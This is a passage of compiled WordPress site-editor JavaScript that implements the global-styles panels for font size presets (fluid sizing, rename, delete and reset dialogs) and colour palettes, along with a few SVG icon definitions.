18950 const handleFluidChange = (value) => {
18951 updateFontSize("fluid", value);
18952 };
18953 const handleCustomFluidValues = (value) => {
18954 if (value) {
18955 updateFontSize("fluid", {
18956 min: fontSize.size,
18957 max: fontSize.size
18958 });
18959 } else {
18960 updateFontSize("fluid", true);
18961 }
18962 };
18963 const handleMinChange = (value) => {
18964 updateFontSize("fluid", { ...fontSize.fluid, min: value });
18965 };
18966 const handleMaxChange = (value) => {
18967 updateFontSize("fluid", { ...fontSize.fluid, max: value });
18968 };
18969 const updateFontSize = (key, value) => {
18970 const newFontSizes = sizes.map((size) => {
18971 if (size.slug === slug) {
18972 return { ...size, [key]: value };
18973 }
18974 return size;
18975 });
18976 setFontSizes({
18977 ...fontSizes,
18978 [origin]: newFontSizes
18979 });
18980 };
18981 const handleRemoveFontSize = () => {
18982 const newFontSizes = sizes.filter((size) => size.slug !== slug);
18983 setFontSizes({
18984 ...fontSizes,
18985 [origin]: newFontSizes
18986 });
18987 };
18988 const toggleDeleteConfirm = () => {
18989 setIsDeleteConfirmOpen(!isDeleteConfirmOpen);
18990 };
18991 const toggleRenameDialog = () => {
18992 setIsRenameDialogOpen(!isRenameDialogOpen);
18993 };
18994 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
18995 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18996 confirm_delete_font_size_dialog_default,
18997 {
18998 fontSize,
18999 isOpen: isDeleteConfirmOpen,
19000 toggleOpen: toggleDeleteConfirm,
19001 handleRemoveFontSize
19002 }
19003 ),
19004 isRenameDialogOpen && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19005 rename_font_size_dialog_default,
19006 {
19007 fontSize,
19008 toggleOpen: toggleRenameDialog,
19009 handleRename: handleNameChange
19010 }
19011 ),
19012 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 4, children: [
19013 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { justify: "space-between", align: "flex-start", children: [
19014 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19015 header_default,
19016 {
19017 title: fontSize.name,
19018 description: (0,external_wp_i18n_namespaceObject.sprintf)(
19019 /* translators: %s: font size preset name. */
19020 (0,external_wp_i18n_namespaceObject.__)("Manage the font size %s."),
19021 fontSize.name
19022 )
19023 }
19024 ),
19025 origin === "custom" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19026 external_wp_components_namespaceObject.__experimentalSpacer,
19027 {
19028 marginTop: 3,
19029 marginBottom: 0,
19030 paddingX: 4,
19031 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(Menu, { children: [
19032 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19033 Menu.TriggerButton,
19034 {
19035 render: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19036 external_wp_components_namespaceObject.Button,
19037 {
19038 size: "small",
19039 icon: more_vertical_default,
19040 label: (0,external_wp_i18n_namespaceObject.__)(
19041 "Font size options"
19042 )
19043 }
19044 )
19045 }
19046 ),
19047 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(Menu.Popover, { children: [
19048 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19049 Menu.Item,
19050 {
19051 onClick: toggleRenameDialog,
19052 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Menu.ItemLabel, { children: (0,external_wp_i18n_namespaceObject.__)("Rename") })
19053 }
19054 ),
19055 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19056 Menu.Item,
19057 {
19058 onClick: toggleDeleteConfirm,
19059 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Menu.ItemLabel, { children: (0,external_wp_i18n_namespaceObject.__)("Delete") })
19060 }
19061 )
19062 ] })
19063 ] })
19064 }
19065 ) })
19066 ] }),
19067 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalView, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19068 external_wp_components_namespaceObject.__experimentalSpacer,
19069 {
19070 paddingX: 4,
19071 marginBottom: 0,
19072 paddingBottom: 6,
19073 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 4, children: [
19074 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(font_size_preview_default, { fontSize }) }),
19075 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19076 size_control_default,
19077 {
19078 label: (0,external_wp_i18n_namespaceObject.__)("Size"),
19079 value: !isCustomFluid ? fontSize.size : "",
19080 onChange: handleFontSizeChange,
19081 disabled: isCustomFluid
19082 }
19083 ),
19084 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19085 external_wp_components_namespaceObject.ToggleControl,
19086 {
19087 label: (0,external_wp_i18n_namespaceObject.__)("Fluid typography"),
19088 help: (0,external_wp_i18n_namespaceObject.__)(
19089 "Scale the font size dynamically to fit the screen or viewport."
19090 ),
19091 checked: isFluid,
19092 onChange: handleFluidChange,
19093 __nextHasNoMarginBottom: true
19094 }
19095 ),
19096 isFluid && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19097 external_wp_components_namespaceObject.ToggleControl,
19098 {
19099 label: (0,external_wp_i18n_namespaceObject.__)("Custom fluid values"),
19100 help: (0,external_wp_i18n_namespaceObject.__)(
19101 "Set custom min and max values for the fluid font size."
19102 ),
19103 checked: isCustomFluid,
19104 onChange: handleCustomFluidValues,
19105 __nextHasNoMarginBottom: true
19106 }
19107 ),
19108 isCustomFluid && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
19109 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19110 size_control_default,
19111 {
19112 label: (0,external_wp_i18n_namespaceObject.__)("Minimum"),
19113 value: fontSize.fluid?.min,
19114 onChange: handleMinChange
19115 }
19116 ),
19117 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19118 size_control_default,
19119 {
19120 label: (0,external_wp_i18n_namespaceObject.__)("Maximum"),
19121 value: fontSize.fluid?.max,
19122 onChange: handleMaxChange
19123 }
19124 )
19125 ] })
19126 ] })
19127 }
19128 ) })
19129 ] })
19130 ] });
19131}
19132var font_size_default = FontSize;
19133
19134
19135;// ./node_modules/@wordpress/icons/build-module/library/plus.js
19136
19137
19138var plus_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M11 12.5V17.5H12.5V12.5H17.5V11H12.5V6H11V11H6V12.5H11Z" }) });
19139
19140
19141;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-sizes/confirm-reset-font-sizes-dialog.js
19142
19143
19144
19145function ConfirmResetFontSizesDialog({
19146 text,
19147 confirmButtonText,
19148 isOpen,
19149 toggleOpen,
19150 onConfirm
19151}) {
19152 const handleConfirm = async () => {
19153 toggleOpen();
19154 onConfirm();
19155 };
19156 const handleCancel = () => {
19157 toggleOpen();
19158 };
19159 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19160 external_wp_components_namespaceObject.__experimentalConfirmDialog,
19161 {
19162 isOpen,
19163 cancelButtonText: (0,external_wp_i18n_namespaceObject.__)("Cancel"),
19164 confirmButtonText,
19165 onCancel: handleCancel,
19166 onConfirm: handleConfirm,
19167 size: "medium",
19168 children: text
19169 }
19170 );
19171}
19172var confirm_reset_font_sizes_dialog_default = ConfirmResetFontSizesDialog;
19173
19174
19175;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-sizes/font-sizes.js
19176
19177
19178
19179
19180
19181
19182
19183
19184
19185
19186
19187
19188const { Menu: font_sizes_Menu } = unlock(external_wp_components_namespaceObject.privateApis);
19189const { useGlobalSetting: font_sizes_useGlobalSetting } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
19190function FontSizeGroup({
19191 label,
19192 origin,
19193 sizes,
19194 handleAddFontSize,
19195 handleResetFontSizes
19196}) {
19197 const [isResetDialogOpen, setIsResetDialogOpen] = (0,external_wp_element_.useState)(false);
19198 const toggleResetDialog = () => setIsResetDialogOpen(!isResetDialogOpen);
19199 const resetDialogText = origin === "custom" ? (0,external_wp_i18n_namespaceObject.__)(
19200 "Are you sure you want to remove all custom font size presets?"
19201 ) : (0,external_wp_i18n_namespaceObject.__)(
19202 "Are you sure you want to reset all font size presets to their default values?"
19203 );
19204 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
19205 isResetDialogOpen && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19206 confirm_reset_font_sizes_dialog_default,
19207 {
19208 text: resetDialogText,
19209 confirmButtonText: origin === "custom" ? (0,external_wp_i18n_namespaceObject.__)("Remove") : (0,external_wp_i18n_namespaceObject.__)("Reset"),
19210 isOpen: isResetDialogOpen,
19211 toggleOpen: toggleResetDialog,
19212 onConfirm: handleResetFontSizes
19213 }
19214 ),
19215 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 4, children: [
19216 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { children: [
19217 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(subtitle_default, { level: 3, children: label }),
19218 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.FlexItem, { className: "edit-site-global-styles__typography-panel__options-container", children: [
19219 origin === "custom" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19220 external_wp_components_namespaceObject.Button,
19221 {
19222 label: (0,external_wp_i18n_namespaceObject.__)("Add font size"),
19223 icon: plus_default,
19224 size: "small",
19225 onClick: handleAddFontSize
19226 }
19227 ),
19228 !!handleResetFontSizes && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(font_sizes_Menu, { children: [
19229 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19230 font_sizes_Menu.TriggerButton,
19231 {
19232 render: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19233 external_wp_components_namespaceObject.Button,
19234 {
19235 size: "small",
19236 icon: more_vertical_default,
19237 label: (0,external_wp_i18n_namespaceObject.__)(
19238 "Font size presets options"
19239 )
19240 }
19241 )
19242 }
19243 ),
19244 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(font_sizes_Menu.Popover, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(font_sizes_Menu.Item, { onClick: toggleResetDialog, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(font_sizes_Menu.ItemLabel, { children: origin === "custom" ? (0,external_wp_i18n_namespaceObject.__)(
19245 "Remove font size presets"
19246 ) : (0,external_wp_i18n_namespaceObject.__)(
19247 "Reset font size presets"
19248 ) }) }) })
19249 ] })
19250 ] })
19251 ] }),
19252 !!sizes.length && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalItemGroup, { isBordered: true, isSeparated: true, children: sizes.map((size) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19253 NavigationButtonAsItem,
19254 {
19255 path: `/typography/font-sizes/${origin}/${size.slug}`,
19256 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { children: [
19257 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { className: "edit-site-font-size__item", children: size.name }),
19258 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { display: "flex", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19259 icon_default,
19260 {
19261 icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? chevron_left_default : chevron_right_default
19262 }
19263 ) })
19264 ] })
19265 },
19266 size.slug
19267 )) })
19268 ] })
19269 ] });
19270}
19271function font_sizes_FontSizes() {
19272 const [themeFontSizes, setThemeFontSizes] = font_sizes_useGlobalSetting(
19273 "typography.fontSizes.theme"
19274 );
19275 const [baseThemeFontSizes] = font_sizes_useGlobalSetting(
19276 "typography.fontSizes.theme",
19277 null,
19278 "base"
19279 );
19280 const [defaultFontSizes, setDefaultFontSizes] = font_sizes_useGlobalSetting(
19281 "typography.fontSizes.default"
19282 );
19283 const [baseDefaultFontSizes] = font_sizes_useGlobalSetting(
19284 "typography.fontSizes.default",
19285 null,
19286 "base"
19287 );
19288 const [customFontSizes = [], setCustomFontSizes] = font_sizes_useGlobalSetting(
19289 "typography.fontSizes.custom"
19290 );
19291 const [defaultFontSizesEnabled] = font_sizes_useGlobalSetting(
19292 "typography.defaultFontSizes"
19293 );
19294 const handleAddFontSize = () => {
19295 const index = getNewIndexFromPresets(customFontSizes, "custom-");
19296 const newFontSize = {
19297 /* translators: %d: font size index */
19298 name: (0,external_wp_i18n_namespaceObject.sprintf)((0,external_wp_i18n_namespaceObject.__)("New Font Size %d"), index),
19299 size: "16px",
19300 slug: `custom-${index}`
19301 };
19302 setCustomFontSizes([...customFontSizes, newFontSize]);
19303 };
19304 const hasSameSizeValues = (arr1, arr2) => arr1.map((item) => item.size).join("") === arr2.map((item) => item.size).join("");
19305 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 2, children: [
19306 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19307 header_default,
19308 {
19309 title: (0,external_wp_i18n_namespaceObject.__)("Font size presets"),
19310 description: (0,external_wp_i18n_namespaceObject.__)(
19311 "Create and edit the presets used for font sizes across the site."
19312 )
19313 }
19314 ),
19315 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalView, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, { paddingX: 4, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 8, children: [
19316 !!themeFontSizes?.length && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19317 FontSizeGroup,
19318 {
19319 label: (0,external_wp_i18n_namespaceObject.__)("Theme"),
19320 origin: "theme",
19321 sizes: themeFontSizes,
19322 baseSizes: baseThemeFontSizes,
19323 handleAddFontSize,
19324 handleResetFontSizes: hasSameSizeValues(
19325 themeFontSizes,
19326 baseThemeFontSizes
19327 ) ? null : () => setThemeFontSizes(
19328 baseThemeFontSizes
19329 )
19330 }
19331 ),
19332 defaultFontSizesEnabled && !!defaultFontSizes?.length && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19333 FontSizeGroup,
19334 {
19335 label: (0,external_wp_i18n_namespaceObject.__)("Default"),
19336 origin: "default",
19337 sizes: defaultFontSizes,
19338 baseSizes: baseDefaultFontSizes,
19339 handleAddFontSize,
19340 handleResetFontSizes: hasSameSizeValues(
19341 defaultFontSizes,
19342 baseDefaultFontSizes
19343 ) ? null : () => setDefaultFontSizes(
19344 baseDefaultFontSizes
19345 )
19346 }
19347 ),
19348 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19349 FontSizeGroup,
19350 {
19351 label: (0,external_wp_i18n_namespaceObject.__)("Custom"),
19352 origin: "custom",
19353 sizes: customFontSizes,
19354 handleAddFontSize,
19355 handleResetFontSizes: customFontSizes.length > 0 ? () => setCustomFontSizes([]) : null
19356 }
19357 )
19358 ] }) }) })
19359 ] });
19360}
19361var font_sizes_default = font_sizes_FontSizes;
19362
19363
19364;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/color-indicator-wrapper.js
19365
19366
19367
19368function ColorIndicatorWrapper({ className, ...props }) {
19369 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19370 external_wp_components_namespaceObject.Flex,
19371 {
19372 className: dist_clsx(
19373 "edit-site-global-styles__color-indicator-wrapper",
19374 className
19375 ),
19376 ...props
19377 }
19378 );
19379}
19380var color_indicator_wrapper_default = ColorIndicatorWrapper;
19381
19382
19383;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/palette.js
19384
19385
19386
19387
19388
19389
19390
19391
19392
19393
19394const { useGlobalSetting: palette_useGlobalSetting } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
19395const EMPTY_COLORS = [];
19396function Palette({ name }) {
19397 const [customColors] = palette_useGlobalSetting("color.palette.custom");
19398 const [themeColors] = palette_useGlobalSetting("color.palette.theme");
19399 const [defaultColors] = palette_useGlobalSetting("color.palette.default");
19400 const [defaultPaletteEnabled] = palette_useGlobalSetting(
19401 "color.defaultPalette",
19402 name
19403 );
19404 const colors = (0,external_wp_element_.useMemo)(
19405 () => [
19406 ...customColors || EMPTY_COLORS,
19407 ...themeColors || EMPTY_COLORS,
19408 ...defaultColors && defaultPaletteEnabled ? defaultColors : EMPTY_COLORS
19409 ],
19410 [customColors, themeColors, defaultColors, defaultPaletteEnabled]
19411 );
19412 const screenPath = !name ? "/colors/palette" : "/blocks/" + encodeURIComponent(name) + "/colors/palette";
19413 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 3, children: [
19414 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(subtitle_default, { level: 3, children: (0,external_wp_i18n_namespaceObject.__)("Palette") }),
19415 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalItemGroup, { isBordered: true, isSeparated: true, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(NavigationButtonAsItem, { path: screenPath, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { direction: "row", children: [
19416 colors.length > 0 ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
19417 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalZStack, { isLayered: false, offset: -8, children: colors.slice(0, 5).map(({ color }, index) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19418 color_indicator_wrapper_default,
19419 {
19420 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19421 external_wp_components_namespaceObject.ColorIndicator,
19422 {
19423 colorValue: color
19424 }
19425 )
19426 },
19427 `${color}-${index}`
19428 )) }),
19429 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { isBlock: true, children: (0,external_wp_i18n_namespaceObject.__)("Edit palette") })
19430 ] }) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { children: (0,external_wp_i18n_namespaceObject.__)("Add colors") }),
19431 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(icon_default, { icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? chevron_left_default : chevron_right_default })
19432 ] }) }) })
19433 ] });
19434}
19435var palette_default = Palette;
19436
19437
19438;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/screen-colors.js
19439
19440
19441
19442
19443
19444
19445
19446const {
19447 useGlobalStyle: screen_colors_useGlobalStyle,
19448 useGlobalSetting: screen_colors_useGlobalSetting,
19449 useSettingsForBlockElement: screen_colors_useSettingsForBlockElement,
19450 ColorPanel: screen_colors_StylesColorPanel
19451} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
19452function ScreenColors() {
19453 const [style] = screen_colors_useGlobalStyle("", void 0, "user", {
19454 shouldDecodeEncode: false
19455 });
19456 const [inheritedStyle, setStyle] = screen_colors_useGlobalStyle("", void 0, "all", {
19457 shouldDecodeEncode: false
19458 });
19459 const [rawSettings] = screen_colors_useGlobalSetting("");
19460 const settings = screen_colors_useSettingsForBlockElement(rawSettings);
19461 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
19462 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19463 header_default,
19464 {
19465 title: (0,external_wp_i18n_namespaceObject.__)("Colors"),
19466 description: (0,external_wp_i18n_namespaceObject.__)(
19467 "Palette colors and the application of those colors on site elements."
19468 )
19469 }
19470 ),
19471 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "edit-site-global-styles-screen", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 7, children: [
19472 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(palette_default, {}),
19473 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19474 screen_colors_StylesColorPanel,
19475 {
19476 inheritedValue: inheritedStyle,
19477 value: style,
19478 onChange: setStyle,
19479 settings
19480 }
19481 )
19482 ] }) })
19483 ] });
19484}
19485var screen_colors_default = ScreenColors;
19486
19487
19488;// ./node_modules/@wordpress/icons/build-module/library/shuffle.js
19489
19490
19491var shuffle_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/SVG", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M17.192 6.75L15.47 5.03l1.06-1.06 3.537 3.53-3.537 3.53-1.06-1.06 1.723-1.72h-3.19c-.602 0-.993.202-1.28.498-.309.319-.538.792-.695 1.383-.13.488-.222 1.023-.296 1.508-.034.664-.116 1.413-.303 2.117-.193.721-.513 1.467-1.068 2.04-.575.594-1.359.954-2.357.954H4v-1.5h4.003c.601 0 .993-.202 1.28-.498.308-.319.538-.792.695-1.383.149-.557.216-1.093.288-1.662l.039-.31a9.653 9.653 0 0 1 .272-1.653c.193-.722.513-1.467 1.067-2.04.576-.594 1.36-.954 2.358-.954h3.19zM8.004 6.75c.8 0 1.46.23 1.988.628a6.24 6.24 0 0 0-.684 1.396 1.725 1.725 0 0 0-.024-.026c-.287-.296-.679-.498-1.28-.498H4v-1.5h4.003zM12.699 14.726c-.161.459-.38.94-.684 1.396.527.397 1.188.628 1.988.628h3.19l-1.722 1.72 1.06 1.06L20.067 16l-3.537-3.53-1.06 1.06 1.723 1.72h-3.19c-.602 0-.993-.202-1.28-.498a1.96 1.96 0 0 1-.024-.026z" }) });
19492
19493
19494;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/preset-colors.js
19495
19496
19497function PresetColors() {
19498 const { paletteColors } = useStylesPreviewColors();
19499 return paletteColors.slice(0, 4).map(({ slug, color }, index) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19500 "div",
19501 {
19502 style: {
19503 flexGrow: 1,
19504 height: "100%",
19505 background: color
19506 }
19507 },
19508 `${slug}-${index}`
19509 ));
19510}
19511
19512
19513;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/preview-colors.js
19514
19515
19516
19517
19518const preview_colors_firstFrameVariants = {
19519 start: {
19520 scale: 1,
19521 opacity: 1
19522 },
19523 hover: {
19524 scale: 0,
19525 opacity: 0
19526 }
19527};
19528const StylesPreviewColors = ({ label, isFocused, withHoverView }) => {
19529 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19530 PreviewWrapper,
19531 {
19532 label,
19533 isFocused,
19534 withHoverView,
19535 children: ({ key }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19536 external_wp_components_namespaceObject.__unstableMotion.div,
19537 {
19538 variants: preview_colors_firstFrameVariants,
19539 style: {
19540 height: "100%",
19541 overflow: "hidden"
19542 },
19543 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19544 external_wp_components_namespaceObject.__experimentalHStack,
19545 {
19546 spacing: 0,
19547 justify: "center",
19548 style: {
19549 height: "100%",
19550 overflow: "hidden"
19551 },
19552 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PresetColors, {})
19553 }
19554 )
19555 },
19556 key
19557 )
19558 }
19559 );
19560};
19561var preview_colors_default = StylesPreviewColors;
19562
19563
19564;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/variations/variations-color.js
19565
19566
19567
19568
19569
19570
19571function ColorVariations({ title, gap = 2 }) {
19572 const propertiesToFilter = ["color"];
19573 const colorVariations = useCurrentMergeThemeStyleVariationsWithUserConfig(propertiesToFilter);
19574 if (colorVariations?.length <= 1) {
19575 return null;
19576 }
19577 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 3, children: [
19578 title && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(subtitle_default, { level: 3, children: title }),
19579 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalGrid, { spacing: gap, children: colorVariations.map((variation, index) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19580 Variation,
19581 {
19582 variation,
19583 isPill: true,
19584 properties: propertiesToFilter,
19585 showTooltip: true,
19586 children: () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(preview_colors_default, {})
19587 },
19588 index
19589 )) })
19590 ] });
19591}
19592
19593
19594;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/color-palette-panel.js
19595
19596
19597
19598
19599
19600
19601
19602
19603
19604const { useGlobalSetting: color_palette_panel_useGlobalSetting } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
19605const mobilePopoverProps = { placement: "bottom-start", offset: 8 };
19606function ColorPalettePanel({ name }) {
19607 const [themeColors, setThemeColors] = color_palette_panel_useGlobalSetting(
19608 "color.palette.theme",
19609 name
19610 );
19611 const [baseThemeColors] = color_palette_panel_useGlobalSetting(
19612 "color.palette.theme",
19613 name,
19614 "base"
19615 );
19616 const [defaultColors, setDefaultColors] = color_palette_panel_useGlobalSetting(
19617 "color.palette.default",
19618 name
19619 );
19620 const [baseDefaultColors] = color_palette_panel_useGlobalSetting(
19621 "color.palette.default",
19622 name,
19623 "base"
19624 );
19625 const [customColors, setCustomColors] = color_palette_panel_useGlobalSetting(
19626 "color.palette.custom",
19627 name
19628 );
19629 const [defaultPaletteEnabled] = color_palette_panel_useGlobalSetting(
19630 "color.defaultPalette",
19631 name
19632 );
19633 const isMobileViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)("small", "<");
19634 const popoverProps = isMobileViewport ? mobilePopoverProps : void 0;
19635 const [randomizeThemeColors] = useColorRandomizer();
19636 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
19637 external_wp_components_namespaceObject.__experimentalVStack,
19638 {
19639 className: "edit-site-global-styles-color-palette-panel",
19640 spacing: 8,
19641 children: [
19642 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 4, children: [
19643 !!themeColors && !!themeColors.length && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19644 external_wp_components_namespaceObject.__experimentalPaletteEdit,
19645 {
19646 canReset: themeColors !== baseThemeColors,
19647 canOnlyChangeValues: true,
19648 colors: themeColors,
19649 onChange: setThemeColors,
19650 paletteLabel: (0,external_wp_i18n_namespaceObject.__)("Theme"),
19651 paletteLabelHeadingLevel: 3,
19652 popoverProps
19653 }
19654 ),
19655 window.__experimentalEnableColorRandomizer && themeColors?.length > 0 && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19656 external_wp_components_namespaceObject.Button,
19657 {
19658 __next40pxDefaultSize: true,
19659 variant: "secondary",
